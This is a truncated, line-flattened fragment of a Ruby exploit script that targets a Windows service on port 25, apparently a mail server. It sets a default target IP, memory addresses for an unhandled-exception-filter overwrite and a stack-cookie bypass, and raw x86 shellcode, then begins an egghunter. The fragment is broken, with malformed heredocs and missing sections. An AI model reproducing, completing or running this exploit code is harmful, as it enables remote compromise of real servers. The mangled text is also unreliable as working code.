require 'socket' require '/home/john/dev/libbouncer.rb' #puts "USING MASS INT3 !!!" if $DEBUG targeth = ARGV[0] || '193.168.50.89' targetp = ARGV[1] || 25 mallocoffset = ARGV[2].to_i || 32 ueh_addr = (Integer(ARGV[3].to_s) rescue 0x77eb73b4) p "ueh: %x" % ueh_addr userhandler_addr = 0x00409750 gs_cookie_addr = 0x004090b8 ueh_source = < gscookie - 40 or eax, -1 ; continue execution retloc: retn 4 getout: xor eax, eax jmp retloc EOS ueh = #($DEBUG ? "\xcc" : '')+ "\x8b\x44\x24\x04"+ "\x8b\x40\x04"+ "\x8d\x40\x40"+ "\x81\x78\x78\xc6\x13\x40\x00"+ "\x75\x11"+ "\x83\x40\x78\x07"+ "\xc7\x40\x6c" + [gs_cookie_addr - 40].pack('L') + "\x83\xc8\xff"+ "\xc2\x04\x00"+ "\x31\xc0"+ "\xeb\xf9" egghunt_src = <